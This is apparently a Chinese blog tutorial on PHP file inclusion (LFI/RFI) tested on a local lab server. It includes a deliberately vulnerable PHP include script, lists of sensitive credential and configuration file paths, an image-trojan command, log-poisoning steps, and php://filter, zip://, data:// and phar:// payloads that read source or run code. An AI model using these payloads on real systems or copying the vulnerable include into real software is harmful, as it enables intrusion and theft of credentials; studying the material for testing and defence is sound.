文件包含漏洞利用

文件包含原理

文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。几乎所有的脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP WebApplication中居多,而在JSP、ASP、ASP.NET程序中却非常少,这是有些语言设计的弊端。在PHP中经常出现文件包含漏洞,但并不意味着其他语言不存在。

文件包含函数

include():找不到被包含文件时会产生警告(E_WARNING);

include_once():与include ()类似,代码已经被包含则不会再次包含require():找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR)

require_once(): 与require ()类似,代码已经被包含则不会再次包含

利用条件

(1 ) include等函数通过动态执行变量的方式引入需要包含的文件

(2)用户能控制该动态变量

文件包含分类

文件包含漏洞可以分为LFI (Local File Inclusion,本地文件包含)和RFI
(Remote File Inclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

PHP本地文件包含 

编写文件包含的函数

<?php
if(isset($_GET['page'])){
	include $_GET['page'];
	echo "<h1 style='color:blue'>hello world</h1>";
}
else{
	print "please input page!";
}
?>

编写phpinfo 放在同一目录下

修改1116.php后缀名为txt,jpg发现都可以解析 只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析

 远程文件包含

 

读取敏感文件
http://127.0.0.1/include/03/index.php?page=C:\windows-version.txt

Windows系统敏感信息:
C:\boot.ini       //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml        //IIS配置文件
C:\windows\repair\sam                //windows初次安装的密码
C:\program Files\mysql\my.ini        //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD        //Mysql root
C:\windows\php.ini        //php配置信息

Linux系统敏感信息:
/etc/passwd                //linux用户信息
/usr/local/app/apache2/conf/httpd.conf                //apache2配置文件
/usr/local/app/php5/lib/php.ini                //php配置文件
/etc/httpd/conf/httpd.conf                //apache配置文件
/etc/my.cnf                //Mysql配置文件

本地包含配合图片马

制作图片马 cmd命令 copy 1.jpg/b + 1.php/a 2.jpg

 包含apache日志文件

日志默认路径Apache
Apache + Linux日志默认路径
/etc/httpd/logs/access_log或 /var/log/httpd/access log

Apache + Windows日志默认路径
XAMPP套件: xampplapache\logs/access.log                                                                      phpStudy套件:phpStudy\Apache\logs/access.log

IIS
1IS6默认日志文件位置
C:WINDOWS\system32\Logfiles
IIS7默认日志文件位置
%SystemDrive%\inetpub\logs\LogFiles

Nginx
nginx日志文件在用户安装目录的logs目录下
如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里
也可通过其配置文件nginx.conf,获取到日志的存在路径
(/opt/nginx/logs/access.og)
 

首次尝试访问时 将payload作为参数上传因为服务器没有对应文件 会以日志的形式将payload存在日志文件中,第二次通过包含日志文件 就可以将存于日志文件中的payload解析 

 因为不存在 报错

第二次访问日志文件

 

成功解析

 

 php流input: .
利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
命令执行(allow_ url_ include:on, allow_url_fopen不做要求)

 


php流filter:
读取文件(allow_ url_ include和allow_url_fopen都不做要求)
?page=php://filter/read=convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码- -下
就行。虽然不能直接获取到shelll等,但能读取敏感文件危害也是挺大的。
 ?page=php://filter/convert.base64-encode/resource=index.php

效果和上面的一样不过没有read的关键字 

zip://实验

?page= zip://C:/Users/40454/Desktop/test.jpg%23test.txt
先将要执行的PHP代码写好文件名为test.txt,将test.txt进 行zip压缩,压缩文件名为
test.zip,如果可以上传zip文件便直接.上传,若不能便将test.zip重命名为test.jpg后再上传。

data://

命令执行(php版本大于等于5.2,allow_ url_ include和allow_ url_fopen都为on的状态)
?page=data://text/plain, <?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

phar://

假如有个文件test.txt,打包成zip压缩包,指定绝对路径(或者使用相对路径)
?page= phar://C:/Users/40454/Desktop/test.zip/test.txt或
?page= phar://C:/Users/40454/Desktop/test.jpg/test.txt
 和zip协议类似 可以访问压缩包

伪协议用法小结

 

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
DVWA文件包含漏洞利用是指利用DVWA(Damn Vulnerable Web Application)中存在的文件包含漏洞进行攻击。文件包含漏洞是一种常见的安全漏洞,它允许攻击者通过构造恶意请求来包含并执行服务器上的任意文件。 在DVWA中,可以使用包含漏洞来访问系统中的敏感文件、执行恶意代码或者获取系统权限。攻击者可以通过构造特定的请求,利用DVWA中的文件包含漏洞来获取敏感信息或者执行任意代码。 为了利用DVWA中的文件包含漏洞,攻击者通常会使用一些常见的函数,如php中的include()、include_once()、require()、require_once()等。通过构造恶意的文件路径,攻击者可以让服务器加载并执行恶意文件。 因此,为了防止文件包含漏洞的利用,开发人员应该在编写代码时注意对用户输入进行过滤和验证,避免将用户输入直接用于文件包含函数中的参数。同时,及时更新和修补系统和应用程序的漏洞也是非常重要的。 #### 引用[.reference_title] - *1* *2* *3* [DVWA之包含漏洞(file Inclusion)——文件包含漏洞产生的原因、文件包含漏洞的利用方式、DVWA之包含漏洞...](https://blog.csdn.net/weixin_45116657/article/details/100602769)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值